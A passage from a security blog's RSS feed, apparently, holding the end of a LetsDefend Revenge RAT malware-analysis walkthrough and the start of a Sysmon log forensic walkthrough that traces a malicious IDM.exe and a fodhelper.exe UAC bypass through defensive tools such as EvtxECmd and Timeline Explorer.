8,&lt;/strong&gt; we&amp;rsquo;ll jump back to the &lt;code&gt;Config&lt;/code&gt; class where already found the answers to &lt;strong&gt;Questions 2 &amp;amp; 4&lt;/strong&gt;, this time focusing on the &lt;code&gt;id&lt;/code&gt; string.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/111495024065f9e2f51b94059b8f3f19_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The question tells us that the value is &lt;em&gt;obfuscated&lt;/em&gt; (likely in &lt;strong&gt;Base64)&lt;/strong&gt;, so we&amp;rsquo;ll need to decode it to find the answer. To do this, we&amp;rsquo;ll use &lt;strong&gt;CyberChef&lt;/strong&gt; from &lt;em&gt;Tools&lt;/em&gt; folder to perform some operations on the string. Just paste the value into the &lt;em&gt;input&lt;/em&gt; box and add &amp;quot; # &amp;ldquo;From Base64&amp;quot;to the recipe:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;386px&#34; data-flex-grow=&#34;160&#34; height=&#34;497&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/56c77b8575f22e815004bc8cc9529f7c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Easily enough, we&amp;rsquo;ve decoded the string and have uncovered the answer to &lt;strong&gt;Question 8!&lt;/strong&gt; Now let&amp;rsquo;s wrap up this analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1800px&#34; data-flex-grow=&#34;750&#34; height=&#34;160&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/5f76b01fd8a3426ff51f5332e9f42773_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/5f76b01fd8a3426ff51f5332e9f42773_MD5_hu_33c90d78ca50d633.png 800w, https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/5f76b01fd8a3426ff51f5332e9f42773_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished! Using &lt;strong&gt;Detect-It-Easy,&lt;/strong&gt; we figured out that the malware binary was compiled with &lt;em&gt;VB.NET&lt;/em&gt; and then discovered some external research about the RAT from &lt;strong&gt;Perception Point&lt;/strong&gt; to add some context to the investigation. Then, we brought the malware sample into &lt;strong&gt;dnSpy&lt;/strong&gt; to uncover details about the information it collects about a victim&amp;rsquo;s system and how these functions work from &lt;strong&gt;Microsoft Learn&lt;/strong&gt;. Now that we have scoped the attack and completed our objectives, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/revenge-rat&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Revenge RAT&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for yet another engaging and challenging lab! I tend to stumble through reverse engineering challenges since I do not have a coding background and even the terms can be confusing! Even so, I always try to push myself to learn about new things outside of my comfort zone by tackling unfamiliar topics. Fortunately, the power of research helped me understand the bigger picture of the malware, allowing me to analyze it more confidently. Overall, this lab was a great learning opportunity, especially getting some hands-on time with &lt;strong&gt;dnSpy&lt;/strong&gt; and expanding my toolset. Practice makes perfect, after all!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Wikipedia (Visual Basic (.NET)):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Visual_Basic_%28.NET%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Visual_Basic_(.NET)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;dnSpy:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/dnSpy/dnSpy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/dnSpy/dnSpy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Perception-Point:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://perception-point.io/blog/revenge-rat-back-from-microsoft-excel-macros/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — SetThreadExecutionState:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setthreadexecutionstate&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setthreadexecutionstate&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — GetVolumeInformationA:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationa&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationa&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — capGetDriverDescriptionA:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/vfw/nf-vfw-capgetdriverdescriptiona&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/api/vfw/nf-vfw-capgetdriverdescriptiona&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Log Analysis with Sysmon Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/</link>
            <pubDate>Mon, 18 Nov 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Log Analysis with Sysmon Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--log-analysis-with-sysmon-walkthrough&#34;&gt;LetsDefend — Log Analysis with Sysmon Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;an-endpoint-forensic-investigation-with-sysmon-evtxecmd-timeline-explorer-and-mitreattck&#34;&gt;An Endpoint Forensic Investigation with Sysmon, EvtxECmd, Timeline Explorer, and MITRE ATT&amp;amp;CK&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/log-analysis-with-sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Log Analysis with Sysmon&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. Prepare to dive into the world of digital forensics and incident response (DFIR).&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, a victim&amp;rsquo;s device has been compromised with malware, and we need to investigate what happened to contain the threat. Our objective is to analyze the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Sysmon&lt;/em&gt;&lt;/a&gt; event logs to determine how the attacker gained initial access, escalated privileges, evaded the system&amp;rsquo;s defenses, and what tools they used to do it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sysmon&lt;/strong&gt;&lt;/a&gt; is a utility that is part of the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft Sysinternals&lt;/em&gt;&lt;/a&gt; suite. It runs as a system service and monitors detailed system activity, like process creation, file creation, and network connections, and logs it to the &lt;em&gt;Windows Event Log&lt;/em&gt;. &lt;em&gt;Sysmon&lt;/em&gt; also has its own event types that can be used to filter specific activity in the logs.&lt;/p&gt;&#xA;&lt;p&gt;To analyze the &lt;em&gt;Sysmon&lt;/em&gt; logs, we&amp;rsquo;ll leverage &lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt; &lt;strong&gt;EvtxECMD&lt;/strong&gt; and &lt;strong&gt;Timeline Explorer&lt;/strong&gt;. Then, we&amp;rsquo;ll map the adversary&amp;rsquo;s techniques and software to &lt;strong&gt;MITRE ATT&amp;amp;CK,&lt;/strong&gt; a global knowledge base of adversary tactics and techniques, to gain a comprehensive view of the attack.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please &lt;strong&gt;give it a clap&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/log-analysis-with-sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/log-analysis-with-sysmon&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Our company has experienced a breach on one of its endpoints. Your task is to investigate the breach thoroughly by analyzing the Sysmon logs of the compromised endpoint to gather all necessary information regarding the attack.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-which-file-gave-access-to-the-attacker&#34;&gt;Question 1: Which file gave access to the attacker?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this challenge by extracting &lt;em&gt;Sysmon_chall.zip.&lt;/em&gt; Inside of the archive, we&amp;rsquo;ll have two files: &lt;em&gt;Sysmon.evtx&lt;/em&gt; and &lt;em&gt;Sysmon.json.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first file, &lt;em&gt;Sysmon.evtx,&lt;/em&gt; is a &lt;em&gt;Windows Event Log&lt;/em&gt; file that we can open and view in the &lt;em&gt;Windows Event Viewer.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The second file, &lt;em&gt;Sysmon.json&lt;/em&gt;, contains the same information as the first file, but in the &lt;em&gt;JSON&lt;/em&gt; format so it can be imported into different data analytics tools for analysis.&lt;/p&gt;&#xA;&lt;p&gt;For this investigation, we&amp;rsquo;ll start with &lt;em&gt;Sysmon.evtx.&lt;/em&gt; Double-click it and it will open with the &lt;em&gt;Windows Event Log Viewer&lt;/em&gt; as a saved log within our analysis environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/7709318b00b1688ec4a7c74bcdfb268f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;But before we dive headfirst into the &lt;em&gt;Event Logs&lt;/em&gt;, let&amp;rsquo;s back up a bit and get familiar with the &lt;strong&gt;Sysmon Events&lt;/strong&gt; so we can analyze the logs more efficiently by filtering for the relevant event IDs. This is reference will be key to working through this investigation, so keep it handy:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sysmon Events Reference:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events&#34;  title=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sysmon - Sysinternals&lt;/strong&gt;&#xA;_Monitors and reports key system activity via the Windows event log._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, armed with some background knowledge, let&amp;rsquo;s jump into the &lt;em&gt;Event Viewer&lt;/em&gt; and start hunting for the malicious file that gave the attacker access to the victim&amp;rsquo;s device. To narrow down the scope of our logs, let&amp;rsquo;s filter by &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-1-process-creation&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID 1:&lt;/strong&gt; &lt;strong&gt;Process Creation&lt;/strong&gt;&lt;/a&gt; and then sort descending order to look at the earliest event first.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/11e56088c3f4653e95adb54746d10da5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Reviewing the processes, we stumble on the above event referencing unusual executable, &lt;strong&gt;IDM.exe&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt; To investigate this process further, let&amp;rsquo;s use the &lt;strong&gt;Find&lt;/strong&gt; button and analyze the other events referring to this executable.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1222px&#34; data-flex-grow=&#34;509&#34; height=&#34;157&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/c8212b541ac30cc923004422307dd4b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To analyze the hits, switch over to the &lt;em&gt;Details&lt;/em&gt; tab view, and after a couple of results, we&amp;rsquo;ll notice that first &lt;em&gt;IDM.exe&lt;/em&gt; spawns a &lt;em&gt;Windows Command Shell (cmd.exe)&lt;/em&gt; and then in the following event, a very suspicious command line&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;552&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/0d4bc0e73d239bb4fb2606d5e68737b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;These are enough red flags to determine that &lt;em&gt;IDM.exe&lt;/em&gt; is the answer to &lt;strong&gt;Question 1&lt;/strong&gt;. Let&amp;rsquo;s perform some further analysis on &lt;strong&gt;fodhelper.exe&lt;/strong&gt; to better understand what the attacker is doing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2057px&#34; data-flex-grow=&#34;857&#34; height=&#34;140&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/5566f43af6c4e847d512f1609986cd27_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/5566f43af6c4e847d512f1609986cd27_MD5_hu_f86db7084828c551.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/5566f43af6c4e847d512f1609986cd27_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-did-the-attacker-use-to-bypass-uac-mention-theexe&#34;&gt;Question 2: What did the attacker use to bypass UAC? Mention the EXE.&#xA;&lt;/h3&gt;&lt;p&gt;Before we go too far, let&amp;rsquo;s give ourselves another option to analyze the &lt;em&gt;Event Log.&lt;/em&gt; Sometimes, having a different view or method of analyzing data can be helpful to understand the relationships between processes.&lt;/p&gt;&#xA;&lt;p&gt;Rather than manually searching the &lt;em&gt;Event Viewer&lt;/em&gt;, we&amp;rsquo;re going to also parse the log using &lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;EvtxECmd&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; export it to a &lt;em&gt;CSV,&lt;/em&gt; then sort the results using another of his utilities, &lt;em&gt;Timeline Explorer.&lt;/em&gt; This will allow us to search and filter the data more efficiently than manually browsing the &lt;em&gt;Event Viewer&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Handily, both of the &lt;em&gt;Eric Zimmerman&lt;/em&gt; utilities are already installed on the &lt;em&gt;LetsDefend&lt;/em&gt; environment, so we simply need to open the &lt;em&gt;Command Prompt as Administrator&lt;/em&gt; to launch the utility with the following syntax specifying the &lt;em&gt;.evtx&lt;/em&gt; file and an output directory:&lt;/p&gt;&#xA;&lt;p&gt;EvtxECmd.exe -f &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\Sysmon.evtx&amp;rdquo; &amp;ndash;csv YOUR-OUTPUT-DIRECTORY&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/74b4f0d325dad52c4a86e25cc35d10f3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once the output file is created, open it with &lt;em&gt;Timeline Explorer.&lt;/em&gt; To start, we&amp;rsquo;ll replicate the method we used in &lt;strong&gt;Question 1&lt;/strong&gt; and filter by the &lt;em&gt;ParentCommandLine (Payload Data6)&lt;/em&gt; column for &lt;em&gt;IDM.exe:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1015px&#34; data-flex-grow=&#34;423&#34; height=&#34;189&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/9403e91858bf7274b1c097eb02bcfbee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a cleaner view of the information we found in the previous question, isn&amp;rsquo;t it?&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s take to &lt;em&gt;Google&lt;/em&gt; for research to understand what &lt;strong&gt;fodhelper.exe&lt;/strong&gt; is and if it can be used in an attack. For example, check out the research from &lt;a class=&#34;link&#34; href=&#34;https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4---bypass-uac-using-fodhelper---powershell&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Atomic Red Team&lt;/strong&gt;&lt;/a&gt; about &lt;em&gt;user account control&lt;/em&gt; (&lt;em&gt;UAC&lt;/em&gt;) bypass techniques (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1548/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK — T1548.002&lt;/a&gt;) to see what we can discover.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;203px&#34; data-flex-grow=&#34;84&#34; height=&#34;889&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/15fbcc08cfd8c4730d59c7d622a05b5c_MD5.png&#34; width=&#34;754&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the research, we&amp;rsquo;ll see a couple of documented techniques abusing the &lt;em&gt;Features on Demand Helper (fodhelper.exe)&lt;/em&gt; to bypass the UAC prompt. These techniques allow a threat actor to abuse the legitimate binary to execute a process as a privileged administrator without the user account control dialogue.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-3---bypass-uac-using-fodhelper&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Atomic Test #3 — Bypass UAC using Fodhelper&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution, &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;The operation completed successfully.&amp;quot;&#xA;will be shown twice and command prompt will be opened.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4---bypass-uac-using-fodhelper---powershell&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Atomic Test #4 — Bypass UAC using Fodhelper — PowerShell&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution command prompt will be opened.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Since we have discovered a documented method of abusing the &lt;em&gt;fodhelper&lt;/em&gt; binary to bypass &lt;em&gt;UAC&lt;/em&gt; that is also present on the infected device, we&amp;rsquo;ve found the answer to &lt;strong&gt;Question 2!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1986px&#34; data-flex-grow=&#34;827&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/bad574db547e86a2bd4c91fd87eaa59f_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/bad574db547e86a2bd4c91fd87eaa59f_MD5_hu_88f5f95c58b2d8f0.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/bad574db547e86a2bd4c91fd87eaa59f_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-registry-path-and-value-was-used-by-the-above-exe-to-gain-higher-privileges-pathvalue&#34;&gt;Question 3: What registry path and value was used by the above EXE to gain higher privileges? (path\value)&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s continue to build off the research that we found in the &lt;em&gt;Atomic Red Team&lt;/em&gt; report and look at the listed commands used to exploit &lt;em&gt;fodhelper.exe.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The techniques involve some registry modification. With that in mind, let&amp;rsquo;s filter the CSV file in &lt;em&gt;Timeline Explorer&lt;/em&gt; by &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-13-registryevent-value-set&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID 13: RegistryEvent (Value Set)&lt;/strong&gt;&lt;/a&gt; and then filter by &lt;em&gt;IDM.exe.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1411px&#34; data-flex-grow=&#34;588&#34; height=&#34;136&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/341569975b1b5e632b4015cca72e247d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Filter Event Id 13&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;332px&#34; data-flex-grow=&#34;138&#34; height=&#34;578&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 